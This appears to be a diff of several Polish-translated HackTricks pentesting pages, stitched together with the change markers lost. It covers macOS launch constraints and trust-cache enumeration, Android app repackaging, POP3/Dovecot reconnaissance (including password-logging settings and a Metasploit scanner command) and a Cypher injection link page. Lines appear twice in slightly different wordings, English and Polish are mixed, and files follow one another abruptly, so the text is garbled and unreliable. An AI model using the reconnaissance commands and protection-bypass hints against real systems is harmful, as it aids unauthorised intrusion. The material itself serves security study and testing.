[**Fakty, które LC może wykorzystać, są udokumentowane**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Na przykład:
|
||||
|
||||
* is-init-proc: Wartość logiczna wskazująca, czy plik wykonywalny musi być procesem inicjalizacji systemu operacyjnego (`launchd`).
|
||||
* is-sip-protected: Wartość logiczna wskazująca, czy plik wykonywalny musi być plikiem chronionym przez System Integrity Protection (SIP).
|
||||
* `on-authorized-authapfs-volume:` Wartość logiczna wskazująca, czy system operacyjny załadował plik wykonywalny z autoryzowanego, uwierzytelnionego woluminu APFS.
|
||||
* `on-authorized-authapfs-volume`: Wartość logiczna wskazująca, czy system operacyjny załadował plik wykonywalny z autoryzowanego, uwierzytelnionego woluminu APFS.
|
||||
* is-init-proc: Wartość logiczna, która wskazuje, czy plik wykonywalny musi być procesem inicjalizacji systemu operacyjnego (`launchd`).
|
||||
* is-sip-protected: Wartość logiczna, która wskazuje, czy plik wykonywalny musi być plikiem chronionym przez System Integrity Protection (SIP).
|
||||
* `on-authorized-authapfs-volume:` Wartość logiczna, która wskazuje, czy system operacyjny załadował plik wykonywalny z autoryzowanego, uwierzytelnionego woluminu APFS.
|
||||
* `on-authorized-authapfs-volume`: Wartość logiczna, która wskazuje, czy system operacyjny załadował plik wykonywalny z autoryzowanego, uwierzytelnionego woluminu APFS.
|
||||
* Wolumin Cryptexes
|
||||
* `on-system-volume:` Wartość logiczna wskazująca, czy system operacyjny załadował plik wykonywalny z obecnie uruchomionego woluminu systemowego.
|
||||
* `on-system-volume:` Wartość logiczna, która wskazuje, czy system operacyjny załadował plik wykonywalny z aktualnie uruchomionego woluminu systemowego.
|
||||
* Wewnątrz /System...
|
||||
* ...
|
||||
|
||||
Gdy binarny plik Apple jest podpisany, **przypisuje go do kategorii LC** w **pamięci podręcznej zaufania**.
|
||||
Gdy plik binarny Apple jest podpisany, **przypisuje go do kategorii LC** wewnątrz **pamięci zaufania**.
|
||||
|
||||
* **Kategorie LC dla iOS 16** zostały [**odwrócone i udokumentowane tutaj**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* Obecne **kategorie LC (macOS 14** - Somona) zostały odwrócone, a ich [**opisy można znaleźć tutaj**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
* **Kategorie LC iOS 16** zostały [**odwrócone i udokumentowane tutaj**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* Aktualne **Kategorie LC (macOS 14 - Sonoma)** zostały odwrócone, a ich [**opisy można znaleźć tutaj**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
|
||||
Na przykład Kategoria 1 to:
|
||||
```
|
||||
|
@ -59,42 +60,42 @@ Category 1:
|
|||
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
|
||||
Parent Constraint: is-init-proc
|
||||
```
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: Musi znajdować się w woluminie Systemowym lub Cryptexes.
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: Musi być w woluminie System lub Cryptexes.
|
||||
* `launch-type == 1`: Musi być usługą systemową (plist w LaunchDaemons).
|
||||
* `validation-category == 1`: Wykonywalny plik systemowy.
|
||||
* `validation-category == 1`: Wykonywalny plik systemu operacyjnego.
|
||||
* `is-init-proc`: Launchd
|
||||
|
||||
### Odwracanie kategorii LC
|
||||
|
||||
Więcej informacji [**o tym tutaj**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), ale w skrócie, są one zdefiniowane w **AMFI (AppleMobileFileIntegrity)**, więc musisz pobrać zestaw narzędzi do rozwoju jądra, aby uzyskać **KEXT**. Symbole zaczynające się od **`kConstraintCategory`** są tymi **interesującymi**. Wyodrębniając je, otrzymasz zakodowany strumień DER (ASN.1), który będziesz musiał zdekodować za pomocą [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) lub biblioteki python-asn1 i jej skryptu `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master), co da ci bardziej zrozumiały ciąg znaków.
|
||||
Masz więcej informacji [**na ten temat tutaj**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), ale zasadniczo są one zdefiniowane w **AMFI (AppleMobileFileIntegrity)**, więc musisz pobrać Zestaw Narzędzi do Rozwoju Jądra, aby uzyskać **KEXT**. Symbole zaczynające się od **`kConstraintCategory`** są **interesujące**. Ekstrahując je, otrzymasz strumień zakodowany w DER (ASN.1), który musisz zdekodować za pomocą [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) lub biblioteki python-asn1 i jej skryptu `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master), co da ci bardziej zrozumiały ciąg.
|
||||
|
||||
## Ograniczenia środowiska
|
||||
## Ograniczenia środowiskowe
|
||||
|
||||
To są ustawione Ograniczenia Uruchamiania skonfigurowane w **aplikacjach innych firm**. Deweloper może wybrać **fakty** i **operandy logiczne**, które będą używane w jego aplikacji do ograniczenia dostępu do niej.
|
||||
To są Ograniczenia Uruchamiania skonfigurowane w **aplikacjach firm trzecich**. Programista może wybrać **fakty** i **operandy logiczne do użycia** w swojej aplikacji, aby ograniczyć dostęp do niej samej.
|
||||
|
||||
Możliwe jest wyliczenie Ograniczeń Środowiska aplikacji za pomocą:
|
||||
Możliwe jest enumerowanie Ograniczeń Środowiskowych aplikacji za pomocą:
|
||||
```bash
|
||||
codesign -d -vvvv app.app
|
||||
```
|
||||
## Pamięć podręczna zaufania
|
||||
## Trust Caches
|
||||
|
||||
W systemie **macOS** istnieje kilka pamięci podręcznych zaufania:
|
||||
W **macOS** istnieje kilka pamięci podręcznych zaufania:
|
||||
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
||||
* **`/System/Library/Security/OSLaunchPolicyData`**
|
||||
|
||||
Natomiast w systemie iOS wygląda to tak: **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
|
||||
A w iOS wygląda to na **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
W przypadku systemu macOS działającego na urządzeniach Apple Silicon, jeśli podpisany przez Apple plik binarny nie znajduje się w pamięci podręcznej zaufania, AMFI odmówi jego wczytania.
|
||||
Na macOS działającym na urządzeniach Apple Silicon, jeśli binarny plik podpisany przez Apple nie znajduje się w pamięci podręcznej zaufania, AMFI odmówi jego załadowania.
|
||||
{% endhint %}
|
||||
|
||||
### Wyliczanie pamięci podręcznej zaufania
|
||||
### Enumerating Trust Caches
|
||||
|
||||
Poprzednie pliki pamięci podręcznej zaufania mają format **IMG4** i **IM4P**, przy czym IM4P to sekcja ładunku formatu IMG4.
|
||||
Poprzednie pliki pamięci podręcznej zaufania są w formacie **IMG4** i **IM4P**, przy czym IM4P to sekcja ładunku formatu IMG4.
|
||||
|
||||
Możesz użyć [**pyimg4**](https://github.com/m1stadev/PyIMG4), aby wyodrębnić ładunek baz danych:
|
||||
Możesz użyć [**pyimg4**](https://github.com/m1stadev/PyIMG4) do wyodrębnienia ładunku baz danych:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -114,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
(Inną opcją może być użycie narzędzia [**img4tool**](https://github.com/tihmstar/img4tool), które będzie działać nawet na M1, nawet jeśli wersja jest stara i dla x86\_64, jeśli zainstalujesz je w odpowiednich lokalizacjach).
|
||||
(Inną opcją może być użycie narzędzia [**img4tool**](https://github.com/tihmstar/img4tool), które będzie działać nawet na M1, nawet jeśli wydanie jest stare, oraz na x86\_64, jeśli zainstalujesz je w odpowiednich lokalizacjach).
|
||||
|
||||
Teraz możesz użyć narzędzia [**trustcache**](https://github.com/CRKatri/trustcache), aby uzyskać informacje w czytelnej formie:
|
||||
Teraz możesz użyć narzędzia [**trustcache**](https://github.com/CRKatri/trustcache), aby uzyskać informacje w czytelnym formacie:
|
||||
```bash
|
||||
# Install
|
||||
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
|
||||
|
@ -140,7 +141,7 @@ entry count = 969
|
|||
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
|
||||
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
|
||||
```
|
||||
Pamięć podręczna zaufania ma następującą strukturę, więc **kategoria LC to czwarta kolumna**.
|
||||
Cache zaufania ma następującą strukturę, więc **kategoria LC to 4. kolumna**
|
||||
```c
|
||||
struct trust_cache_entry2 {
|
||||
uint8_t cdhash[CS_CDHASH_LEN];
|
||||
|
@ -150,48 +151,49 @@ uint8_t constraintCategory;
|
|||
uint8_t reserved0;
|
||||
} __attribute__((__packed__));
|
||||
```
|
||||
Następnie możesz użyć skryptu, takiego jak [**ten**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30), aby wyodrębnić dane.
|
||||
Then, you could use a script such as [**this one**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) to extract data.
|
||||
|
||||
Na podstawie tych danych możesz sprawdzić aplikacje o **wartości ograniczeń uruchamiania `0`**, które nie są ograniczone ([**sprawdź tutaj**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056), co oznacza każda wartość).
|
||||
From that data you can check the Apps with a **launch constraints value of `0`**, which are the ones that aren't constrained ([**check here**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) for what each value is).
|
||||
|
||||
## Zabezpieczenia przed atakami
|
||||
## Ataki i ich łagodzenie
|
||||
|
||||
Ograniczenia uruchamiania mogłyby złagodzić wiele starszych ataków, **zapewniając, że proces nie zostanie uruchomiony w nieoczekiwanych warunkach**: na przykład z nieoczekiwanych lokalizacji lub wywołany przez nieoczekiwany proces nadrzędny (jeśli tylko launchd powinien go uruchamiać).
|
||||
Launch Constrains mogłyby złagodzić kilka starych ataków poprzez **zapewnienie, że proces nie będzie wykonywany w nieoczekiwanych warunkach:** Na przykład z nieoczekiwanych lokalizacji lub wywoływany przez nieoczekiwany proces nadrzędny (jeśli tylko launchd powinien go uruchamiać).
|
||||
|
||||
Ponadto, ograniczenia uruchamiania również **łagodzą ataki obniżające wersję**.
|
||||
Ponadto, Launch Constraints również **łagodzi ataki typu downgrade.**
|
||||
|
||||
Jednakże, **nie łagodzą powszechnych nadużyć XPC**, wstrzykiwania kodu **Electron** ani wstrzykiwania bibliotek **dylib bez weryfikacji biblioteki** (chyba że znane są identyfikatory zespołów, które mogą ładować biblioteki).
|
||||
Jednakże, **nie łagodzą one powszechnych nadużyć XPC**, **wstrzyknięć** kodu **Electron** ani **wstrzyknięć dylib** bez walidacji biblioteki (chyba że znane są identyfikatory zespołów, które mogą ładować biblioteki).
|
||||
|
||||
### Ochrona przed demonami XPC
|
||||
### Ochrona Daemonów XPC
|
||||
|
||||
W wydaniu Sonoma istotnym punktem jest **konfiguracja odpowiedzialności** usługi XPC demona. Usługa XPC jest odpowiedzialna za siebie, a nie za klienta łączącego się z nią. Jest to udokumentowane w raporcie zwrotnym FB13206884. Taka konfiguracja może wydawać się wadliwa, ponieważ umożliwia pewne interakcje z usługą XPC:
|
||||
W wydaniu Sonoma, istotnym punktem jest **konfiguracja odpowiedzialności** usługi daemon XPC. Usługa XPC jest odpowiedzialna za siebie, w przeciwieństwie do klienta łączącego się, który jest odpowiedzialny. Jest to udokumentowane w raporcie zwrotnym FB13206884. Ta konfiguracja może wydawać się wadliwa, ponieważ pozwala na pewne interakcje z usługą XPC:
|
||||
|
||||
- **Uruchamianie usługi XPC**: Jeśli założyć, że jest to błąd, taka konfiguracja nie pozwala na uruchomienie usługi XPC za pomocą kodu atakującego.
|
||||
- **Łączenie z aktywną usługą**: Jeśli usługa XPC jest już uruchomiona (może być aktywowana przez swoją pierwotną aplikację), nie ma żadnych barier dla połączenia z nią.
|
||||
- **Uruchamianie usługi XPC**: Jeśli uznać to za błąd, ta konfiguracja nie pozwala na inicjowanie usługi XPC za pomocą kodu atakującego.
|
||||
- **Łączenie z aktywną usługą**: Jeśli usługa XPC już działa (prawdopodobnie aktywowana przez swoją oryginalną aplikację), nie ma przeszkód w łączeniu się z nią.
|
||||
|
||||
Choć wprowadzenie ograniczeń dla usługi XPC może być korzystne, **skracając okno potencjalnych ataków**, nie rozwiązuje to podstawowego problemu. Zapewnienie bezpieczeństwa usługi XPC wymaga przede wszystkim **efektywnej weryfikacji klienta łączącego się**. To jest jedyny sposób na wzmocnienie bezpieczeństwa usługi. Warto również zauważyć, że wspomniana konfiguracja odpowiedzialności jest obecnie funkcjonalna, co może nie być zgodne z zamierzonym projektem.
|
||||
Chociaż wprowadzenie ograniczeń na usłudze XPC może być korzystne poprzez **zawężenie okna dla potencjalnych ataków**, nie rozwiązuje to podstawowego problemu. Zapewnienie bezpieczeństwa usługi XPC zasadniczo wymaga **skutecznej walidacji łączącego się klienta**. To pozostaje jedyną metodą na wzmocnienie bezpieczeństwa usługi. Warto również zauważyć, że wspomniana konfiguracja odpowiedzialności jest obecnie operacyjna, co może nie być zgodne z zamierzonym projektem.
|
||||
|
||||
### Ochrona przed Electronem
|
||||
### Ochrona Electron
|
||||
|
||||
Nawet jeśli wymagane jest, aby aplikacja była **otwierana przez LaunchService** (w ograniczeniach rodzica), można to osiągnąć za pomocą polecenia **`open`** (które może ustawiać zmienne środowiskowe) lub za pomocą interfejsu API **Launch Services** (gdzie można wskazać zmienne środowiskowe).
|
||||
Nawet jeśli wymagane jest, aby aplikacja była **otwierana przez LaunchService** (w ograniczeniach rodziców). Można to osiągnąć za pomocą **`open`** (które może ustawiać zmienne środowiskowe) lub korzystając z **API Launch Services** (gdzie można wskazać zmienne środowiskowe).
|
||||
|
||||
## Odwołania
|
||||
## Odniesienia
|
||||
|
||||
* [https://youtu.be/f1HA5QhLQ7Y?t=24146](https://youtu.be/f1HA5QhLQ7Y?t=24146)
|
||||
* [https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/)
|
||||
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
|
||||
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -7,7 +7,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
@ -64,22 +64,17 @@ Następnie zapisz plik i wyjdź ze wszystkich katalogów, a następnie zbuduj ap
|
|||
|
||||
Na koniec musisz tylko **podpisać nową aplikację**. [Przeczytaj tę sekcję strony Smali - Decompiling/\[Modifying\]/Compiling, aby dowiedzieć się, jak ją podpisać](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Naucz się hackowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz, aby twoja **firma była reklamowana w HackTricks** lub **pobierz HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -99,7 +99,7 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
|
|||
| **Ustawienie** | **Opis** |
|
||||
| ---------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Włącza wszystkie logi debugowania uwierzytelniania. |
|
||||
| `auth_debug_passwords` | To ustawienie dostosowuje szczegółowość logów, przesyłane hasła oraz schemat jest logowany. |
|
||||
| `auth_debug_passwords` | To ustawienie dostosowuje szczegółowość logów, przesyłane hasła oraz schemat są logowane. |
|
||||
| `auth_verbose` | Loguje nieudane próby uwierzytelnienia i ich przyczyny. |
|
||||
| `auth_verbose_passwords` | Hasła używane do uwierzytelnienia są logowane i mogą być również skracane. |
|
||||
| `auth_anonymous_username` | Określa nazwę użytkownika, która ma być używana podczas logowania za pomocą mechanizmu ANONYMOUS SASL. |
|
||||
|
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hackowania AWS od podstaw do mistrza z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz, aby Twoja **firma była reklamowana w HackTricks**? A może chcesz mieć dostęp do **najświeższej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,36 @@
|
|||
# Wstrzykiwanie Cypher (neo4j)
|
||||
# Cypher Injection (neo4j)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Sprawdź następujące blogi:
|
||||
|
||||
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
||||
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
